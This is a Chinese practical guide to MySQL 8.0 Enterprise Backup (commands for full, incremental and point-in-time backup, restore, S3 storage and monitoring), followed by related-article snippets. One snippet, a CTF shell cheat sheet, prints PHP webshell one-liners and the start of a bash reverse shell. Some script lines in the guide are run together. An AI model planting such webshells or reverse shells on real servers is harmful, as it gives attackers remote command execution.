MySQL 8.0 Enterprise Backup (MEB) 备份与恢复实践指南
一、MEB 核心价值与特性
1.1 产品定位
MySQL Enterprise Backup (MEB) 是Oracle官方推出的企业级物理热备份工具,专为MySQL 8.0设计,支持InnoDB/XtraDB引擎的在线备份,同时兼容MyISAM表的锁定备份。
1.2 核心优势
- 零停机热备份:确保业务连续性
- 增量备份技术:节省90%存储空间(典型场景)
- 并行压缩:最高达10:1的压缩比(实测数据)
- 企业级加密:支持AES256+TDE集成
- 智能恢复:支持时间点恢复(PITR)
- 云原生支持:无缝对接OCI/AWS S3存储
二、部署与配置
2.1 环境准备
# RHEL/CentOS 安装示例
sudo yum install mysql-enterprise-backup-8.0
2.2 最小权限配置
CREATE USER 'mebuser'@'localhost' IDENTIFIED BY 'SecurePass123!';
GRANT BACKUP_ADMIN, RELOAD, PROCESS, SUPER ON *.* TO 'mebuser'@'localhost';
三、备份操作实战
3.1 全量备份
mysqlbackup --user=mebuser --password=SecurePass123! \
--backup-image=/backups/full.mbi \
--backup-dir=/backups/stage \
--compress \
--encrypt=OPENSSL_AES256 \
--encrypt-key="your_secure_key" \
--parallel=4 \
--compress-threads=4 \
--trace=3 \
backup-to-image
关键参数解析:
--compress:启用ZSTD压缩算法--parallel:控制I/O线程并发--trace=3:生产环境推荐日志级别
3.2 增量备份
mysqlbackup --incremental --incremental-base=history:last_full \
--backup-image=/backups/incr_$(date +%F).mbi \
--backup-dir=/backups/stage_incr \
...
增量策略建议:
- 全备每周日执行
- 每日增量备份(保留周期:30天)
- 二进制日志保留周期:72小时
四、恢复操作全流程
4.1 全量恢复
mysqlbackup --defaults-file=/etc/my.cnf \
--backup-image=/backups/full.mbi \
--backup-dir=/backups/restore \
--decrypt=OPENSSL_AES256 \
--encrypt-key="your_secure_key" \
--uncompress \
--copy-back \
--force
4.2 增量恢复链处理
- 恢复最新全量备份
- 按顺序应用增量备份:
mysqlbackup apply-incremental-backup \ --incremental-backup-dir=/backups/incr1 \ --backup-dir=/restore/base - 执行最终回滚:
mysqlbackup --defaults-file=/etc/my.cnf copy-back-and-apply-log
4.3 时间点恢复(PITR)
mysqlbackup --backup-dir=/restore/base \
--binlog-position=mysql-bin.000012:107 \
copy-back-and-apply-log
五、高级运维技巧
5.1 云存储集成(AWS S3示例)
mysqlbackup --backup-image=s3://bucket/backups/full.mbi \
--s3-region=us-west-2 \
--s3-access-key=AKIA... \
--s3-secret-key=... \
backup-to-image
5.2 性能调优参数
[mysqlbackup]
compress = true
compress-threads = 8
parallel = 16
read-threads = 4
write-threads = 4
encrypt-threads = 4
5.3 备份验证策略
# 校验备份完整性
mysqlbackup validate \
--backup-image=/backups/full.mbi \
--backup-dir=/tmp/validate# 自动校验脚本示例
#!/bin/bash
if mysqlbackup validate ... | grep -q "backup is valid"; thenaws s3 cp /backups/full.mbi s3://backup-bucket/
elsesend_alert "Backup validation failed!"
fi
六、典型故障处理
6.1 恢复失败常见原因
- 版本不匹配:确保MEB版本与MySQL版本严格一致
- 存储空间不足:恢复目录需要2倍于数据集的空间
- 权限问题:检查selinux/AppArmor策略
- 加密密钥错误:使用密钥管理系统(KMS)自动轮换
6.2 日志分析技巧
# 快速定位错误
grep -E 'ERROR|WARNING' /var/log/mysql/meb.log# 关键错误代码:
# MB-00123: 存储空间不足
# MB-00456: 加密校验失败
# MB-00789: 二进制日志不连续
七、企业级备份方案设计
7.1 混合云架构示例
本地数据中心 -> MEB每日全备 -> 加密压缩 -> 传输至对象存储↓
灾备中心 <- 实时增量同步 <- 跨区域复制
7.2 备份策略矩阵
| 数据类型 | 保留策略 | 存储层级 | RPO | RTO |
|---|---|---|---|---|
| 核心交易 | 7天滚动+季度归档 | 高性能块存储 | 15min | 1h |
| 历史数据 | 月度全备 | 冷存储 | 24h | 6h |
| 日志数据 | 实时流备份 | 对象存储 | 0 | 15min |
八、安全合规实践
- 加密策略:
- 传输层:TLS 1.3
- 静态数据:AES256 + KMS轮换
- 访问控制:
- 基于角色的访问控制(RBAC)
- 临时访问凭证(STS)
- 审计日志:
INSTALL COMPONENT "file://component_audit_log"; SET GLOBAL audit_log_policy = ALL;
九、效能监控体系
9.1 Prometheus监控指标
- name: meb_backup_durationquery: rate(mysqlbackup_duration_seconds[5m])
- name: meb_backup_sizequery: mysqlbackup_size_bytes
- name: meb_failure_countquery: count_over_time(meb_log_errors[1h])
9.2 关键性能指标阈值
- 备份时长:>2小时触发告警
- 压缩率:<50% 触发调查
- 恢复速度:<100MB/s 触发性能分析
十、最佳实践总结
- 定期验证恢复:至少每季度执行全流程恢复演练
- 3-2-1原则:
- 3份副本
- 2种存储介质
- 1份离线备份
- 自动化生命周期管理:
# 自动清理旧备份 find /backups -name "*.mbi" -mtime +30 -exec rm {} \; - 与MySQL Shell集成:
util.dumpInstance('/backups', {threads: 8, compression: "zstd"})
相关文章:
MySQL 8.0 Enterprise Backup (MEB) 备份与恢复实践指南
一、MEB 核心价值与特性 1.1 产品定位 MySQL Enterprise Backup (MEB) 是Oracle官方推出的企业级物理热备份工具,专为MySQL 8.0设计,支持InnoDB/XtraDB引擎的在线备份,同时兼容MyISAM表的锁定备份。 1.2 核心优势 零停机热备份࿱…...
UE5从入门到精通之多人游戏编程常用函数
文章目录 前言一、权限与身份判断函数1. 服务器/客户端判断2. 网络角色判断二、网络同步与复制函数1. 变量同步2. RPC调用三、连接与会话管理函数1. 玩家连接控制2. 网络模式判断四、实用工具函数前言 UE5给我们提供了非常强大的多人网路系统,让我们可以很方便的开发多人游戏…...
[Web 安全] 反序列化漏洞 - 学习笔记
关注这个专栏的其他相关笔记:[Web 安全] Web 安全攻防 - 学习手册-CSDN博客 0x01:反序列化漏洞 — 漏洞介绍 反序列化漏洞是一种常见的安全漏洞,主要出现在应用程序将 序列化数据 重新转换为对象(即反序列化)的过程中…...
minio作为K8S后端存储
docker部署minio mkdir -p /minio/datadocker run -d \-p 9000:9000 \-p 9001:9001 \--name minio \-v /minio/data:/data \-e "MINIO_ROOT_USERjbk" \-e "MINIO_ROOT_PASSWORDjbjbjb123" \quay.io/minio/minio server /data --console-address ":90…...
Leetcode2717:半有序排列
题目描述: 给你一个下标从 0 开始、长度为 n 的整数排列 nums 。 如果排列的第一个数字等于 1 且最后一个数字等于 n ,则称其为 半有序排列 。你可以执行多次下述操作,直到将 nums 变成一个 半有序排列 : 选择 nums 中相邻的两…...
redis小记
redis小记 下载redis sudo apt-get install redis-server redis基本命令 ubuntu16下的redis没有protected-mode属性,就算sudo启动,也不能往/var/spool/cron/crontabs写计划任务,感觉很安全 #连接到redis redis-cli -h 127.0.0.1 -p 6379 …...
C/C++基础知识复习(47)
1) 接口继承与实现继承的区别 接口继承 接口继承意味着定义一个类,它只声明一组方法(通常是纯虚函数),但是不提供任何实现。继承这个接口的子类必须实现这些方法。接口继承的主要目的是规范化行为。 C 例子: 在 C 中…...
OkHttp、Retrofit、RxJava:一文讲清楚
一、okHttp的同步和异步请求 Call 是 OkHttp 的核心接口,代表一个已准备好执行的 HTTP 请求。它支持 同步 和 异步 两种模式: enqueue——>okHttp异步 OkHttpClient client new OkHttpClient();Request request new Request.Builder().url("…...
netty详细使用
Netty是一个基于Java的高性能网络应用框架,主要用于快速开发高性能的网络通信应用程序。以下是Netty的详细使用步骤: 添加Netty依赖:在项目的pom.xml中添加Netty的依赖项,例如: <dependency><groupId>io…...
计算机视觉(opencv-python)入门之图像的读取,显示,与保存
在计算机视觉领域,Python的cv2库是一个不可或缺的工具,它提供了丰富的图像处理功能。作为OpenCV的Python接口,cv2使得图像处理的实现变得简单而高效。 示例图片 目录 opencv获取方式 图像基本知识 颜色空间 RGB HSV CV2常用图像处理方…...
ActiveMQ之VirtualTopic
一句话总结: VirtualTopic是为了解决持久化模式下多消费端同时接收同一条消息的问题。 现实中多出现这样一个场景: 生产端产生了一笔订单,作为消息MessageOrder发了出去。 这笔订单既要入订单系统归档,又要入结算系统收款&#x…...
第16届蓝桥杯模拟赛3 python组个人题解
第16届蓝桥杯模拟赛3 python组 思路和答案不保证正确 1.填空 如果一个数 p 是个质数,同时又是整数 a 的约数,则 p 称为 a 的一个质因数。 请问, 2024 的最大的质因数是多少? 因为是填空题,所以直接枚举2023~2 &am…...
UE5 Computer Shader学习笔记
首先这里是绑定.usf文件的路径,并声明是用声明着色器 上面就是对应的usf文件路径,在第一张图进行链接 Shader Frequency 的作用 Shader Frequency 是 Unreal Engine 中用于描述着色器类型和其执行阶段的分类。常见的 Shader Frequency 包括:…...
2.1部署logstash:9600
实验环境:关闭防火墙,完成java环境 yum -y install wget wget https://d6.injdk.cn/oraclejdk/8/jdk-8u341-linux-x64.rpm yum localinstall jdk-8u341-linux-x64.rpm -y java -version 1.安装logstash tar xf logstash-6.4.1.tar.gz -C /usr/local…...
SQL笔记#集合运算
目录 一、表的加减法 1、什么是集合运算 2、表的加法——UNION 3、集合运算的注意事项 4、包含重复行的集合运算——ALL运算 5、选取表中公共部分——INTERSECT 6、记录的减法——EXCEPT 二、联结(以列为单位对表进行联结) 1、什么是联结(JOIN) 2、内联结——INSER…...
多模态人物视频驱动技术回顾与业务应用
一种新的商品表现形态,内容几乎存在于手淘用户动线全流程,例如信息流种草内容、搜索消费决策内容、详情页种草内容等。通过低成本、高时效的AIGC内容生成能力,能够从供给端缓解内容生产成本高的问题,通过源源不断的低成本供给倒推…...
基于Matlab实现汽车远近光灯识别的详细步骤及代码示例
以下是一个基于Matlab实现汽车远近光灯识别的详细步骤及代码示例,主要通过图像处理技术来区分远光灯和近光灯。 整体思路 图像预处理:包括读取图像、灰度化、去噪等操作,以提高后续处理的准确性。边缘检测:找出图像中的边缘信息…...
多功能免费网络测速及问题诊断工具
软件介绍 在日常网络使用中,网络问题常常难以即时察觉,很多时候,只有当视频卡顿、网页加载半天没反应,乃至无法连接部分服务时,我们才惊觉网络出状况了。 这里有一款免费工具,专为家庭、办公以及跨国网…...
【算法设计与分析】(一)介绍算法与复杂度分析
【算法设计与分析】(一)介绍算法与复杂度分析 前言一、什么是算法?二、算法的抽象机制三、描述算法四、复杂度分析4.1 时间复杂度4.2 空间复杂度 前言 从搜索引擎的高效检索,到推荐系统的个性化推荐,再到人工智能领域…...
HTML5特殊字符
HTML中常用的特殊符号一般都以“&”开头,以“;”结束。...
使用python接入腾讯云DeepSeek
本文主要从提供SSE方式接入DeepSeek,并通过fastapi websocket对外提供接入方法。 参考文档: 腾讯云大模型:https://cloud.tencent.com/document/product/1759/109380 fastAPI官网:https://fastapi.tiangolo.com/ WebSocketManager…...
6.3 - UART串口数据发送之中断
文章目录 1 实验任务2 系统框图3 软件设计 1 实验任务 本实验使用中断方式实现UART串口数据的连续发送。 2 系统框图 参见6.1。 3 软件设计 注意事项: 系统上电、程序下载后,此时TX FIFO虽然为空,但并不会触发空中断;空中断…...
无法打开数据库 CAUsers\Public\EPLAN(Data\翻译\Company name\Translate.mdb。
eplan生成更新列表后报错,报错内容如下: 无法打开数据库 CAUsers\Public\EPLAN(Data\翻译\Company name\Translate.mdb。针对 64 位版本的EPLAN平台需要使用64 位版本的Microsoft Office。 原因:eplan的列表更新需要64位的微软办公软件版本支…...
将CUBE或3DL LUT转换为PNG图像
概述 在大部分情况下,LUT 文件通常为 CUBE 或 3DL 格式。但是我们在 OpenGL Shader 中使用的LUT,通常是图像格式的 LUT 文件。下面,我将教大家如何将这些文件转换为 PNG 图像格式。 条形LUT在线转换(不是8x8网络)&am…...
C语言(13)------------>do-while循环
1.do-while循环的语法 我们知道C语言有三大结构,顺序、选择、循环。我们可以使用while循环、for循环、do-while循环实现循环结构。之前的博客中提及到了前两者的技术实现。可以参考: C语言(11)------------->while循…...
FS800DTU联动OneNET平台数据可视化View
目录 1 前言 2 环境搭建 2.1 硬件准备 2.2 软件环境 2.3 硬件连接 3 注册OneNET云平台并建立物模型 3.1 参数获取 3.2 连接OneNET 3.3上报数据 4 数据可视化View 4.1 用户信息获取 4.2 启用数据可视化View 4.3 创建项目 4.4 编辑项目 4.5 新增数据源 4.6 数据过滤器配置 4.6 项…...
Linux 第三次脚本作业
源码编译安装httpd 2.4,提供系统服务管理脚本并测试(建议两种方法实现) 一、第一种方法 1、把 httpd-2.4.63.tar.gz 这个安装包上传到你的试验机上 2、 安装编译工具 (俺之前已经装好了) 3、解压httpd包 4、解压后的httpd包的文…...
[数据结构笔记]数据结构必要的C语言基础
数据结构必要的C语言基础 使用C语言学习数据结构之前有一些必要了解的基础,许多同学在初学数据结构时因为对这些知识不熟,导致了对数据结构的畏惧心理。实际上很大一部分来自C语言的基础 C语言 结构体与指针 在一些场景中,如果传递给函…...
CTF常用shell语句整理(webshell、反弹shell)
Web Shell <?php system($_GET[cmd]);?> <?php echo system($_GET[cmd]);?> <%3fphpsystem($_[cmd]);%3f> <%3fphpechosystem($_[cmd]);%3f>命令执行:访问 /?cmdwhoami. Reverse Shell <?php system(bash -i >& /dev/t…...
数据结构笔记——06树和二叉树
文章目录 一、树的基本概念1.树的定义2.树的逻辑表示方法3.树的基本术语4.树的性质5.树的基本运算6.树的存储结构1)双亲存储结构2)孩子链存储结构3)孩子兄弟链存储结构 二、二叉树的概念和性质1.二叉树的定义2.二叉树的性质3.二叉树与树、森林之间的转换1)森林、树转换为二叉树…...
